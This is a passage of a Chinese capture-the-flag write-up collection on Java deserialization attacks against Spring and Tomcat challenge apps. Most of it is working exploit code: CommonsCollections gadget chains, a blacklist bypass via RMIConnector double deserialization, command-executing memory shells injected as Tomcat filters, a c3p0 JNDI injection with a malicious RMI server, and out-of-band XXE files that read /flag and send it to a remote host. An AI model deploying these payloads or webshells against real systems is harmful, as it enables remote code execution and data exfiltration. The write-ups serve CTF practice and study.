setFieldValue(outerMap, "value", chainedTransformer);
byte[] b=serialize(expMap);
deserialize(b);
}
public CC6() {
}
public static byte[] serialize(Object o) {
try {
ByteArrayOutputStream aos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(aos);
oos.writeObject(o);
oos.flush();
oos.close();
return aos.toByteArray();
} catch (Exception e) {
e.printStackTrace();
}
return null;
}
public static void setFieldValue(Object obj, String name, Object value) throws NoSuchFieldException, IllegalAccessException {
Field fieldName = obj.getClass().getDeclaredField(name);
fieldName.setAccessible(true);
fieldName.set(obj, value);
}
public static void deserialize(byte[] bytes) {
try {
ByteArrayInputStream ais = new ByteArrayInputStream(bytes);
ObjectInputStream ois = new ObjectInputStream(ais);
ois.readObject();
ois.close();
} catch (Exception e) {
e.printStackTrace();
}
}
static TemplatesImpl getTemplates() throws Exception{
ClassPool classPool = ClassPool.getDefault();
classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass ctClass = classPool.makeClass("Evil");
ctClass.setSuperclass(classPool.get(AbstractTranslet.class.getName()));
String shell = "java.lang.Runtime.getRuntime().exec(\"calc\");";
ctClass.makeClassInitializer().insertBefore(shell);
byte[] shellCode = ctClass.toBytecode();
byte[][] targetByteCode = new byte[][]{shellCode};
TemplatesImpl templates = new TemplatesImpl();
Class c1 = templates.getClass();
Field _name = c1.getDeclaredField("_name");
Field _bytecode = c1.getDeclaredField("_bytecodes");
Field _tfactory = c1.getDeclaredField("_tfactory");
_name.setAccessible(true);
_bytecode.setAccessible(true);
_tfactory.setAccessible(true);
_name.set(templates, "h3rmesk1t");
_bytecode.set(templates, targetByteCode);
_tfactory.set(templates, new TransformerFactoryImpl());
return templates;
}
}
郭哥的exp
package CC6;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.FactoryTransformer;
import org.apache.commons.collections.functors.InstantiateFactory;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.DefaultedMap;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
public class test2 {
public static void setFieldValue(Object obj, String fieldName, Object value) throws
Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][] {
ClassPool.getDefault().get(com.springboot.springbootdemo.exp.class.getName()).toBytecod
e()});
setFieldValue(templates, "_name", "EvilTemplatesImpl"); setFieldValue(templates,
"_class", null);
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
InstantiateFactory factory = new InstantiateFactory(
TrAXFilter.class,
new Class[]{
Templates.class
},new Object[]{
templates
}
);
FactoryTransformer chainedTransformer = new FactoryTransformer(factory);
Transformer[] fakeTransformers = new Transformer[] {new
ConstantTransformer(1)};
Map innerMap = new HashMap();
Map outerMap = DefaultedMap.decorate(innerMap, fakeTransformers);
TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, "keykey");
Map expMap = new HashMap();
expMap.put(tiedMapEntry, "valuevalue");
outerMap.remove("keykey");
setFieldValue(outerMap, "value", chainedTransformer);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(expMap);
oos.close();
System.out.println(new String(Base64.getEncoder().encode(barr.toByteArray())));
// ObjectInputStream ois = new ObjectInputStream(new
ByteArrayInputStream(barr.toByteArray()));
// Object o = (Object)ois.readObject();
}
}
随便找了一个内存马
package com.example.easyjava.solve;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.lang.reflect.Method;
import java.util.Scanner;
public class springevil extends AbstractTranslet
{
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
public springevil() throws Exception{
Class c = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.RequestContextHolder");
Method m = c.getMethod("getRequestAttributes");
Object o = m.invoke(null);
c = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.ServletRequestAttributes");
m = c.getMethod("getResponse");
Method m1 = c.getMethod("getRequest");
Object resp = m.invoke(o);
Object req = m1.invoke(o); // HttpServletRequest
Method getWriter = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.ServletResponse").getDeclaredMethod("getWriter");
Method getHeader = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.http.HttpServletRequest").getDeclaredMethod("getHeader",String.class);
getHeader.setAccessible(true);
getWriter.setAccessible(true);
Object writer = getWriter.invoke(resp);
String cmd = (String)getHeader.invoke(req, "cmd");
String[] commands = new String[3];
String charsetName = System.getProperty("os.name").toLowerCase().contains("window") ? "GBK":"UTF-8";
if (System.getProperty("os.name").toUpperCase().contains("WIN")) {
commands[0] = "cmd";
commands[1] = "/c";
} else {
commands[0] = "/bin/sh";
commands[1] = "-c";
}
commands[2] = cmd;
writer.getClass().getDeclaredMethod("println", String.class).invoke(writer, new Scanner(Runtime.getRuntime().exec(commands).getInputStream(),charsetName).useDelimiter("\\A").next());
writer.getClass().getDeclaredMethod("flush").invoke(writer);
writer.getClass().getDeclaredMethod("close").invoke(writer);
}
}
鹏程杯2022 Ez_java
路由
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//
package com.example.Ez_Java.controller;
import com.example.Ez_Java.util.Secure;
import java.io.ByteArrayInputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.util.Base64;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.apache.tomcat.util.http.fileupload.IOUtils;
import org.springframework.core.io.ClassPathResource;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
@Controller
public class IndexController {
public IndexController() {
}
@ResponseBody
@RequestMapping({"/index"})
public String index() {
return "草,走,忽略!ጿ ኈ ቼ ዽ ጿ";
}
@ResponseBody
@RequestMapping({"/flag"})
public void flag(HttpServletRequest request, HttpServletResponse response) throws Exception {
ClassPathResource resource = new ClassPathResource("static/video/flag.mp4");
response.setContentType("video/mp4");
response.addHeader("Content-Length", "" + resource.getInputStream().available());
InputStream is = resource.getInputStream();
OutputStream os = response.getOutputStream();
IOUtils.copy(is, os);
}
@ResponseBody
@PostMapping({"/read"})
public String read(@RequestParam(name = "data",required = true) String data) throws IOException, ClassNotFoundException {
byte[] b = Base64.getDecoder().decode(data);
InputStream bis = new ByteArrayInputStream(b);
Secure ois = new Secure(bis);
ois.readObject();
return "沈阳等你噢";
}
}
依赖
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<version>2.6.6</version>
<relativePath/> <!-- lookup parent from repository -->
</parent>
<groupId>com.example</groupId>
<artifactId>Ez_Java</artifactId>
<version>1.0-SNAPSHOT</version>
<name>Ez_Java</name>
<description>Ez_Java</description>
<properties>
<java.version>1.8</java.version>
</properties>
<dependencies>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.25.0-GA</version>
</dependency>
<dependency>
<groupId>org.projectlombok</groupId>
<artifactId>lombok</artifactId>
<optional>true</optional>
</dependency>
<dependency>
<groupId>org.apache.flex.blazeds</groupId>
<artifactId>flex-messaging-core</artifactId>
<version>4.7.2</version>
</dependency>
<!-- https://mvnrepository.com/artifact/org.json/json -->
<dependency>
<groupId>org.json</groupId>
<artifactId>json</artifactId>
<version>20211205</version>
</dependency>
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-test</artifactId>
<scope>test</scope>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-tomcat</artifactId>
</dependency>
<dependency>
<groupId>commons-beanutils</groupId>
<artifactId>commons-beanutils</artifactId>
<version>1.9.2</version>
</dependency>
</dependencies>
<build>
<plugins>
<plugin>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-maven-plugin</artifactId>
<configuration>
<excludes>
<exclude>
<groupId>org.projectlombok</groupId>
<artifactId>lombok</artifactId>
</exclude>
</excludes>
</configuration>
</plugin>
</plugins>
</build>
</project>
黑名单
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//
package com.example.Ez_Java.util;
import java.io.IOException;
import java.io.InputStream;
import java.io.InvalidClassException;
import java.io.ObjectInputStream;
import java.io.ObjectStreamClass;
import java.util.HashSet;
import java.util.Set;
public class Secure extends ObjectInputStream {
private final Set<Object> blackList = new HashSet<Object>() {
{
this.add("javax.management.BadAttributeValueExpException");
this.add("org.apache.commons.collections.keyvalue.TiedMapEntry");
this.add("org.apache.commons.collections.functors.ChainedTransformer");
this.add("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
this.add("org.apache.commons.collections4.functors.ChainedTransformer");
this.add("org.apache.commons.collections4.functors.InstantiateTransformer");
this.add("com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter");
}
};
public Secure(InputStream in) throws IOException {
super(in);
}
protected Class<?> resolveClass(ObjectStreamClass cls) throws IOException, ClassNotFoundException {
if (this.blackList.contains(cls.getName())) {
throw new InvalidClassException("Unexpected serialized class", cls.getName());
} else {
return super.resolveClass(cls);
}
}
}
正常的反序列化执行命令无非ChainedTransformer或者TemplatesImpl加载字节码,但是两个都禁了。
可以考虑调用javax.management.remote.rmi.RMIConnector#connect来二次反序列化,这样可以突破黑名单限制。具体见
http://novic4.cn/index.php/archives/26.html#cl-4
拼上CommonsCollections2的PriorityQueue调用x1.transform(x2),invokerTransformer调用任意方法,就可以调上述方法。最后再TemplatesImpl注册一个内存马
package test;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.*;
import javax.management.remote.JMXServiceURL;
import javax.management.remote.rmi.RMIConnector;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.PriorityQueue;
public class aTest {
public static void main(String[] args) throws Exception {
byte[] expBytes=serialize(getPriorityQueueExp());
String exp=Base64.getEncoder().encodeToString(expBytes);
RMIConnector rmiConnector=new RMIConnector(
new JMXServiceURL("service:jmx:rmi://localhost:12345/stub/"+exp),
new HashMap<String,Integer>()
);
InvokerTransformer invokerTransformer=new InvokerTransformer("connect",null,null);
//invokerTransformer.transform(rmiConnector)
TransformingComparator comparator=new TransformingComparator(invokerTransformer);
PriorityQueue queue=new PriorityQueue();
//让size=2
queue.add(3);
queue.add(4);
// 反射,强行往queue塞rmiConnector
Class queueClass=queue.getClass();
Field queueField=queueClass.getDeclaredField("queue");
queueField.setAccessible(true);
queueField.set(queue,new Object[]{rmiConnector,1});
//反射强写comparator
Class clazz=queue.getClass();
Field comparatorField=clazz.getDeclaredField("comparator");
comparatorField.setAccessible(true);
comparatorField.set(queue, comparator);
byte[] b=serialize(queue);
String base=Base64.getEncoder().encodeToString(b);
System.out.println(base);
// read(base);
}
static void myTest() throws Exception {
byte[] expBytes=serialize(getPriorityQueueExp());
// deserialize(expBytes);
String exp=Base64.getEncoder().encodeToString(expBytes);
RMIConnector rmiConnector=new RMIConnector(new JMXServiceURL("service:jmx:rmi://localhost:12345/stub/"+exp),new HashMap<String,Integer>());
rmiConnector.connect();
}
public static String read(String data) throws IOException, ClassNotFoundException {
byte[] b = Base64.getDecoder().decode(data);
InputStream bis = new ByteArrayInputStream(b);
Secure ois = new Secure(bis);
ois.readObject();
return "沈阳等你噢";
}
public static void deserialize(byte[] bytes) {
try {
ByteArrayInputStream ais = new ByteArrayInputStream(bytes);
ObjectInputStream ois = new ObjectInputStream(ais);
ois.readObject();
ois.close();
} catch (Exception e) {
e.printStackTrace();
}
}
public static byte[] serialize(Object o) {
try {
ByteArrayOutputStream aos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(aos);
oos.writeObject(o);
oos.flush();
oos.close();
return aos.toByteArray();
} catch (Exception e) {
e.printStackTrace();
}
return null;
}
static PriorityQueue getPriorityQueueExp() throws Exception {
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][] {
ClassPool.getDefault().get(test.InjectTomcat01.class.getName()).toBytecode()});
setFieldValue(templates, "_name", "EvilTemplatesImpl"); setFieldValue(templates,
"_class", null);
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
//制作transformer
InvokerTransformer transformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});
//接下来只需调用transformer.transform(templatesImpl)
// transformer.transform()
TransformingComparator comparator=new TransformingComparator(transformer);
PriorityQueue queue=new PriorityQueue();
//让size=2
queue.add(3);
queue.add(4);
// 反射,强行往queue塞templatesImpl
Class queueClass=queue.getClass();
Field queueField=queueClass.getDeclaredField("queue");
queueField.setAccessible(true);
queueField.set(queue,new Object[]{templates,1});
//反射强写comparator
Class clazz=queue.getClass();
Field comparatorField=clazz.getDeclaredField("comparator");
comparatorField.setAccessible(true);
comparatorField.set(queue, comparator);
return queue;
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws
Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}
内存马
package test;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.LifecycleState;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.tomcat.util.descriptor.web.FilterMap;
import javax.servlet.*;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.nio.charset.StandardCharsets;
import java.util.Map;
public class InjectTomcat01 extends AbstractTranslet implements Filter{
private static String filterName = "k";
private static String param = "cmd";
private static String filterUrlPattern = "/*";
static {
try{
WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
ServletContext servletContext = standardContext.getServletContext();
Field filterConfigs = Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("filterConfigs");
filterConfigs.setAccessible(true);
Map map = (Map) filterConfigs.get(standardContext);
if (map.get(filterName) == null && standardContext != null){
Field stateField = Class.forName("org.apache.catalina.util.LifecycleBase").getDeclaredField("state");
stateField.setAccessible(true);
stateField.set(standardContext, LifecycleState.STARTING_PREP);
FilterRegistration.Dynamic filter = servletContext.addFilter(filterName, new InjectTomcat01());
filter.addMappingForUrlPatterns(java.util.EnumSet.of(DispatcherType.REQUEST),false,new String[]{filterUrlPattern});
Method filterStart = Class.forName("org.apache.catalina.core.StandardContext").getDeclaredMethod("filterStart");
filterStart.invoke(standardContext,null);
FilterMap[] filterMaps = standardContext.findFilterMaps();
for (int i = 0 ; i < filterMaps.length ; i++){
if (filterMaps[i].getFilterName().equalsIgnoreCase(filterName)){
FilterMap filterMap = filterMaps[0];
filterMaps[0] = filterMaps[i];
filterMaps[i] = filterMap;
}
}
stateField.set(standardContext,LifecycleState.STARTED);
}
}catch (Exception e){}
}
@Override
public void transform(com.sun.org.apache.xalan.internal.xsltc.DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(com.sun.org.apache.xalan.internal.xsltc.DOM document, com.sun.org.apache.xml.internal.dtm.DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
String string = servletRequest.getParameter(param);
if (string != null){
String osName = System.getProperty("os.name");
String[] cmd = osName != null && osName.toLowerCase().contains("win") ? new String[]{"cmd.exe","/c",string} : new String[]{"/bin/bash","-c",string};
Process exec = Runtime.getRuntime().exec(cmd);
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(exec.getInputStream()));
StringBuffer stringBuffer = new StringBuffer();
String lineData;
while ((lineData = bufferedReader.readLine()) != null){
stringBuffer.append(lineData + '\n');
}
servletResponse.getOutputStream().write(stringBuffer.toString().getBytes(StandardCharsets.UTF_8));
servletResponse.getOutputStream().flush();
servletResponse.getOutputStream().close();
}
filterChain.doFilter(servletRequest,servletResponse);
}
@Override
public void destroy() {
}
}
Dest0g3 520 迎新赛 ljctr
看看pom,发现了这个
<dependency>
<groupId>com.mchange</groupId>
<artifactId>c3p0</artifactId>
<version>0.9.5.5</version>
</dependency>
ysoserial里有个c3p0链。但是waf.jar有一小点过滤
public static byte[] c3p0(Instrumentation inst, ClassLoader loader) throws Exception {
Class<?> aClass = Class.forName("com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized", true, loader);
ClassPool classPool1 = new ClassPool(true);
classPool1.insertClassPath((ClassPath)new ClassClassPath(aClass));
classPool1.insertClassPath((ClassPath)new LoaderClassPath(aClass.getClassLoader()));
CtClass ctClass1 = classPool1.get(aClass.getName());
CtMethod ctMethod1 = ctClass1.getMethod("getObject", "()Ljava/lang/Object;");
ctMethod1.insertBefore(String.format(" if (reference!=null){\n return null;\n }", new Object[] { AgentDemo.class
.getName() }));
inst.redefineClasses(new ClassDefinition[] { new ClassDefinition(aClass, ctClass1.toBytecode()) });
ctClass1.detach();
return ctClass1.toBytecode();
}
这是用RASP中的java agent原理实现的
https://paper.seebug.org/1041/
其实就是调用ReferenceSerialized#getObject的时候加了个判断,如果reference不是null就返回
看了看c3p0链,在ysoserial中,getObject调用后面的referenceToObject会用到reference,这里就不能用了。但是会发现还有一个context = (Context)initialContext.lookup(this.contextName)
public Object getObject() throws ClassNotFoundException, IOException {
try {
InitialContext initialContext;
if (this.env == null) {
initialContext = new InitialContext();
} else {
initialContext = new InitialContext(this.env);
}
Context context = null;
if (this.contextName != null)
context = (Context)initialContext.lookup(this.contextName);
return ReferenceableUtils.referenceToObject(this.reference, this.name, context, this.env);
} catch (NamingException namingException) {
if (ReferenceIndirector.logger.isLoggable(MLevel.WARNING))
ReferenceIndirector.logger.log(MLevel.WARNING, "Failed to acquire the Context necessary to lookup an Object.", namingException);
throw new InvalidObjectException("Failed to acquire the Context necessary to lookup an Object: " + namingException.toString());
}
}
可以jndi注入。但这里有个小问题,在writeObject过程中会设置这个reference
public IndirectlySerialized indirectForm(Object paramObject) throws Exception {
Reference reference = ((Referenceable)paramObject).getReference();
return new ReferenceSerialized(reference, this.name, this.contextName, this.environmentProperties);
}
所以要重写。由于比较菜不会写QwQ,我直接把jar包里的这个类删掉自己按照包名写了一个,就可以控制reference=null和控制contextName了
contextName是个Name类型,Name是个接口。而且,ldap被waf ban了。找了一下实现类+一番搜索发现javax.naming.CompoundName可以用
https://www.jianshu.com/p/d55425bdf4f2
把com.mchange.v2.naming.ReferenceIndirector#IndirectlySerialized改成这个
public IndirectlySerialized indirectForm(Object paramObject) throws Exception {
Properties pros=new Properties();
Name name=new CompoundName("rmi://ip:1234/Evil",pros);
return new ReferenceSerialized(null, null, name, this.environmentProperties);
}
用marshalsec打了一下发现不行,因为jdk是高版本
https://tttang.com/archive/1405/
由于是springboot,本来可以用BeanFactory调ELProcessor,但是又有个waf
public static byte[] el(Instrumentation inst, ClassLoader loader) throws Exception {
Class<?> elProcessorClass = Class.forName("javax.el.ELProcessor", true, loader);
ClassPool classPool = new ClassPool(true);
classPool.insertClassPath((ClassPath)new ClassClassPath(elProcessorClass));
classPool.insertClassPath((ClassPath)new LoaderClassPath(elProcessorClass.getClassLoader()));
CtClass ctClass = classPool.get(elProcessorClass.getName());
CtMethod ctMethod = ctClass.getMethod("eval", "(Ljava/lang/String;)Ljava/lang/Object;");
ctMethod.insertBefore(String.format(" if (expression!=null){\n return null;\n }", new Object[] { AgentDemo.class
.getName() }));
inst.redefineClasses(new ClassDefinition[] { new ClassDefinition(elProcessorClass, ctClass.toBytecode()) });
ctClass.detach();
return ctClass.toBytecode();
}
暂时想不到怎么绕。。
搜到了一篇文章
https://www.cnblogs.com/bitterz/p/15946406.html#22--orgapachecatalinausersmemoryuserdatabasefactory
里面的方法都看了一下,org.apache.catalina.users.MemoryUserDatabaseFactory似乎能用,可以XXE
写一个rmi Server
package com.example.idea;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;
import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class Server {
// javax.el.ELProcessor
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry(1234);
// 实例化Reference,指定目标类为javax.el.ELProcessor,工厂类为org.apache.naming.factory.BeanFactory
ResourceRef ref=new ResourceRef("org.apache.catalina.UserDatabase", null, "", "", true,"org.apache.catalina.users.MemoryUserDatabaseFactory",null);
// ref.add(new StringRefAddr("forceString", "a=createDirectory"));
ref.add(new StringRefAddr("pathname", "http://ip/post.xml"));
ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
registry.bind("Evil", referenceWrapper);
}
}
nginx服务放上两个xml
post.xml
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE roottag[
<!ENTITY % dtd SYSTEM "http://ip/exp.xml">
%dtd;
%int;
%send;
]>
exp.xml
<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://ip/%file;'>">
但是rmi server换成远程就打不通。docker看看logs,发现已经查询了rmi,但是报错
Connection refused to host: 127.0.1.1
搜索一番,发现是这个原因
https://zhuanlan.zhihu.com/p/41806870
Server加一句
System.setProperty("java.rmi.server.hostname","远程Ip");
就行了。
生成base64
package com.example.idea;
import com.mchange.v2.c3p0.PoolBackedDataSource;
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import com.mchange.v2.naming.ReferenceIndirector;
import com.mchange.v2.ser.IndirectlySerialized;
import javax.naming.*;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.*;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.Enumeration;
import java.util.Properties;
import java.util.logging.Logger;
import java.util.Base64;
public class Test {
public static void main(String[] args) throws Exception{
// com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized
// Name name=new CompoundName("rmi://127.0.0.1:1234/Evil",pros);
PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class);
// Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource(className, url));
// javax.el.ELProcessor
byte[] bb=serialize(b);
System.out.println(Base64.getEncoder().encodeToString(bb));
deserialize(bb);
// org.yaml.snakeyaml.Yaml
}
public static byte[] serialize(Object o) {
try {
ByteArrayOutputStream aos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(aos);
oos.writeObject(o);
oos.flush();
oos.close();
return aos.toByteArray();
} catch (Exception e) {
e.printStackTrace();
}
return null;
}
public static void deserialize(byte[] bytes) {
try {
ByteArrayInputStream ais = new ByteArrayInputStream(bytes);
ObjectInputStream ois = new ObjectInputStream(ais);
ois.readObject();
ois.close();
} catch (Exception e) {
e.printStackTrace();
}
}
}
vps起上Server,然后发包
import requests
url="http://127.0.0.1:49153/ctf"
url="http://6442e76d-f89c-41cc-8a86-611f8afddc67.node4.buuoj.cn:81/ctf"
def pwn(pay):
r=requests.post(url,data={"data":pay})
print(r.text)
if __name__ == '__main__':
pay="base64"
pwn(pay)
看看logs即可收到flag
但是预期解要RCE,官方wp给的是new org.yaml.snakeyaml.Yaml().load(String)
https://tttang.com/archive/1405/